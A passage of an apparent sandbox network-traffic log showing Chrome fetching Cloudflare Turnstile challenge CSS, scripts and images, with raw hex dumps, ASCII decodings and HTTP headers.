66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 Data Ascii: ding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiased
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 30 Data Ascii: troke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#0
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b Data Ascii: -dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 Data Ascii: 0}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-he
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 Data Ascii: stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de13
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 Data Ascii: y:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-comp
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 Data Ascii: {left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex
2024-12-09 13:19:36 UTC	1369	IN	Data Raw: 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a Data Ascii: lor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49767	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:37 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef549aa0e1f4376&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:37 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:37 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116466 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ef549b51ca041d3-EWR alt-svc: h3=":443"; ma=86400
2024-12-09 13:19:37 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 78 45 4a 58 34 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.xEJX4={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcl
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 25 32 30 70 61 67 65 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f Data Ascii: this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent%20page.","turnstile_iframe_alt":"Widget%20containing%20a%20Clo
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 67 6c 2c 67 6d 2c 67 6e 2c 67 78 2c 67 42 2c 67 43 2c 67 47 2c 67 48 2c 65 4f 2c 65 50 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 32 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 30 38 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 31 35 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 38 36 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 39 38 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 36 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 34 31 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 Data Ascii: gl,gm,gn,gx,gB,gC,gG,gH,eO,eP){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(782))/1(-parseInt(gI(1108))/2)+-parseInt(gI(1415))/3+-parseInt(gI(1386))/4+-parseInt(gI(1398))/5+parseInt(gI(1346))/6(parseInt(gI(1441))/7)+parseInt(
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 34 37 33 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 66 5b 68 68 28 31 34 37 33 29 5d 3d 4a 53 4f 4e 5b 68 68 28 31 37 30 35 29 5d 28 66 5b 68 68 28 31 34 37 33 29 5d 2c 4f 62 6a 65 63 74 5b 68 68 28 31 33 31 38 29 5d 28 66 5b 68 68 28 31 34 37 33 29 5d 29 29 3b 65 6c 73 65 20 69 66 28 69 5b 68 68 28 39 36 39 29 5d 3d 3d 3d 69 5b 68 68 28 39 36 39 29 5d 29 66 5b 68 68 28 31 34 37 33 29 5d 3d 4a 53 4f 4e 5b 68 68 28 31 37 30 35 29 5d 28 66 5b 68 68 28 31 34 37 33 29 5d 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 66 5b 68 68 28 31 37 36 33 29 5d 2e 63 4b 26 26 69 5b 68 68 28 37 33 30 29 5d 28 67 5b 68 68 28 31 37 36 33 29 5d 2e 63 4b 5b 68 68 28 31 34 39 33 29 5d 28 68 29 2c 2d 31 29 3b 69 66 28 6b 3d 68 7c 7c 68 68 28 37 30 33 29 2c 6c 3d 65 4d Data Ascii: 473)]instanceof Error)f[hh(1473)]=JSON[hh(1705)](f[hh(1473)],Object[hh(1318)](f[hh(1473)]));else if(i[hh(969)]===i[hh(969)])f[hh(1473)]=JSON[hh(1705)](f[hh(1473)]);else return f[hh(1763)].cK&&i[hh(730)](g[hh(1763)].cK[hh(1493)](h),-1);if(k=h\|\|hh(703),l=eM
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 6f 3d 7b 7d 2c 6f 5b 68 69 28 33 39 34 29 5d 3d 68 2c 6f 5b 68 69 28 31 32 31 32 29 5d 3d 69 2c 6f 5b 68 69 28 31 37 33 37 29 5d 3d 6a 2c 6f 5b 68 69 28 31 35 32 39 29 5d 3d 6b 2c 6f 5b 68 69 28 31 34 37 33 29 5d 3d 65 2c 6f 7d 2c 65 4d 5b 67 4a 28 34 32 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 68 6b 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 28 68 6b 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 6b 28 35 31 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 76 3d 3d 3d 73 7d 2c 6a 5b 68 6b 28 31 31 35 32 29 5d 3d 68 6b 28 31 34 34 32 29 2c 6a 5b 68 6b 28 31 32 37 39 29 5d 3d 68 6b 28 31 35 31 34 29 2c 6a 5b 68 6b 28 31 35 33 35 29 5d 3d 68 6b 28 35 30 39 29 2c 6a 5b 68 6b 28 31 37 39 30 29 5d 3d 68 6b 28 31 33 32 Data Ascii: o={},o[hi(394)]=h,o[hi(1212)]=i,o[hi(1737)]=j,o[hi(1529)]=k,o[hi(1473)]=e,o},eM[gJ(422)]=function(e,f,g,h,i,hk,j,k,l,m,n,o){(hk=gJ,j={},j[hk(514)]=function(s,v){return v===s},j[hk(1152)]=hk(1442),j[hk(1279)]=hk(1514),j[hk(1535)]=hk(509),j[hk(1790)]=hk(132
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 5b 69 36 28 31 34 39 36 29 5d 3d 3d 3d 69 36 28 35 33 37 29 29 7b 69 66 28 64 5b 69 36 28 34 39 39 29 5d 28 69 36 28 31 32 39 30 29 2c 69 36 28 31 36 36 36 29 29 29 72 65 74 75 72 6e 3b 65 6c 73 65 20 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 66 55 29 7d 7d 29 2c 66 57 3d 21 5b 5d 2c 21 66 6e 28 67 4a 28 37 31 32 29 29 26 26 28 67 6b 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 47 2c 63 2c 64 2c 65 29 7b 69 47 3d 67 4a 2c 63 3d 7b 27 48 68 65 6f 51 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 4a 76 58 50 65 27 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 66 28 29 7d 2c 27 76 49 6e 41 51 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 2c 27 53 Data Ascii: [i6(1496)]===i6(537)){if(d[i6(499)](i6(1290),i6(1666)))return;else clearInterval(fU)}}),fW=![],!fn(gJ(712))&&(gk(),setInterval(function(iG,c,d,e){iG=gJ,c={'HheoQ':function(f){return f()},'JvXPe':function(f){return f()},'vInAQ':function(f,g){return f-g},'S
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 4a 28 31 35 38 31 29 5d 28 6d 29 7d 29 2c 63 3d 65 4d 5b 69 49 28 31 33 34 30 29 5d 28 63 29 2c 69 3d 5b 5d 2c 67 3d 2d 31 3b 21 66 5b 69 49 28 34 38 37 29 5d 28 69 73 4e 61 4e 2c 6b 3d 63 5b 69 49 28 31 35 38 31 29 5d 28 2b 2b 67 29 29 3b 69 5b 69 49 28 31 36 32 30 29 5d 28 53 74 72 69 6e 67 5b 69 49 28 31 32 36 38 29 5d 28 66 5b 69 49 28 36 39 31 29 5d 28 66 5b 69 49 28 31 30 39 33 29 5d 28 6b 2c 32 35 35 29 2d 68 2d 67 25 36 35 35 33 35 2b 36 35 35 33 35 2c 32 35 35 29 29 29 29 3b 72 65 74 75 72 6e 20 69 5b 69 49 28 36 30 35 29 5d 28 27 27 29 7d 2c 67 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 4b 2c 64 2c 65 2c 66 2c 67 29 7b 72 65 74 75 72 6e 20 69 4b 3d 67 4a 2c 64 3d 7b 27 48 76 73 6f 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 Data Ascii: J(1581)](m)}),c=eM[iI(1340)](c),i=[],g=-1;!f[iI(487)](isNaN,k=c[iI(1581)](++g));i[iI(1620)](String[iI(1268)](f[iI(691)](f[iI(1093)](k,255)-h-g%65535+65535,255))));return i[iI(605)]('')},gn=function(iK,d,e,f,g){return iK=gJ,d={'HvsoR':function(h,i){return
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 4e 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6f 67 73 48 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4d 6f 5a 58 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 6b 67 46 79 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 57 4d 57 6a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 69 4b 28 31 32 36 38 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 4c 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 69 4c 3d 69 4b 2c 69 3d 7b 7d 2c 69 5b 69 4c 28 35 33 39 29 5d 3d 69 4c 28 31 33 38 35 29 2c 6a 3d Data Ascii: Nk':function(h,i){return h(i)},'ogsHh':function(h,i){return h<i},'MoZXT':function(h,i){return h===i},'kgFyw':function(h,i){return h+i},'WMWjk':function(h,i){return h+i}},e=String[iK(1268)],f={'h':function(h,iL,i,j){return iL=iK,i={},i[iL(539)]=iL(1385),j=
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 5d 28 4d 2c 31 29 2c 64 5b 69 4e 28 31 37 37 32 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 69 4e 28 31 36 32 30 29 5d 28 64 5b 69 4e 28 31 33 31 30 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 43 3d 28 44 2d 2d 2c 30 3d 3d 44 26 26 28 44 3d 4d 61 74 68 5b 69 4e 28 39 30 32 29 5d 28 32 2c 46 29 2c 46 2b 2b 29 2c 78 5b 4c 5d 3d 45 2b 2b 2c 64 5b 69 4e 28 31 33 31 30 29 5d 28 53 74 72 69 6e 67 2c 4b 29 29 7d 69 66 28 27 27 21 3d 3d 43 29 7b 69 66 28 4f 62 6a 65 63 74 5b 69 4e 28 31 33 31 34 29 5d 5b 69 4e 28 34 31 33 29 5d 5b 69 4e 28 31 31 36 30 29 5d 28 42 2c 43 29 29 7b 69 66 28 32 35 36 3e 43 5b 69 4e 28 31 35 38 31 29 5d 28 30 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 69 4e 28 31 30 38 35 29 5d 28 73 2c 46 Data Ascii: ](M,1),d[iN(1772)](I,j-1)?(I=0,G[iN(1620)](d[iN(1310)](o,H)),H=0):I++,M>>=1,s++);C=(D--,0==D&&(D=Math[iN(902)](2,F),F++),x[L]=E++,d[iN(1310)](String,K))}if(''!==C){if(Object[iN(1314)][iN(413)][iN(1160)](B,C)){if(256>C[iN(1581)](0)){for(s=0;d[iN(1085)](s,F
2024-12-09 13:19:37 UTC	1369	IN	Data Raw: 69 50 28 37 39 31 29 5d 28 38 30 2c 46 2e 67 29 5d 2c 69 5b 69 50 28 31 33 39 39 29 5d 28 30 2c 47 5b 69 50 28 38 37 39 29 5d 29 29 7b 69 66 28 56 2e 68 5b 69 5b 69 50 28 37 39 31 29 5d 28 37 38 2c 57 2e 67 29 5d 3d 58 2c 59 3d 5a 5b 69 50 28 36 34 35 29 5d 28 29 2c 61 30 3d 3d 3d 2d 31 29 74 68 72 6f 77 20 61 31 3b 61 32 2e 68 5b 35 5e 61 33 2e 67 5d 3d 61 34 5b 69 50 28 36 34 35 29 5d 28 29 2c 61 35 2e 68 5b 69 5b 69 50 28 31 36 36 37 29 5d 28 31 35 39 2c 61 36 2e 67 29 5d 5b 69 50 28 31 36 34 34 29 5d 28 61 37 29 7d 65 6c 73 65 20 74 68 72 6f 77 20 55 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 52 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4d 2c 4c 29 7b 66 6f 72 28 69 52 3d 69 4b 2c 73 3d 5b 5d 2c Data Ascii: iP(791)](80,F.g)],i[iP(1399)](0,G[iP(879)])){if(V.h[i[iP(791)](78,W.g)]=X,Y=Z[iP(645)](),a0===-1)throw a1;a2.h[5^a3.g]=a4[iP(645)](),a5.h[i[iP(1667)](159,a6.g)][iP(1644)](a7)}else throw U},'i':function(i,j,o,iR,s,x,B,C,D,E,F,G,H,I,J,K,M,L){for(iR=iK,s=[],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49768	104.18.95.41	443	5224	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 13:19:37 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-09 13:19:38 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 13:19:37 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ef549b5cad68c54-EWR alt-svc: h3=":443"; ma=86400
